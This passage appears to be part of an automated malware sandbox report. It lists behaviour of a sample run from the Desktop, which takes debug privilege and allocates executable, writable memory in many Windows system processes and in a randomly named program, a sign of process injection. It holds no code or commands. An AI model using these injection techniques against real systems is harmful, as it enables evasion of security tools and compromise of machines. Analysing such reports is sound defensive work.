Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 660000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 3F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 8D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 7F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: 7480000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 620000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 890000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: F70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SysWOW64\cscript.exe base: 4980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SysWOW64\cscript.exe base: 49E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 590000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 570000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: BC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: BE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2ED0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2410000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 27F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2940000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2350000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 26A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2790000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2550000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 25A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 30D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1270000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2080000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 20D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1080000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1090000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2720000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2770000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 570000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 580000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2840000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2890000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1080000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1090000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2990000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 26B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2700000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2FC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2DF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: CE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2BD0000 protect: page execute and read and write Jump to behavior
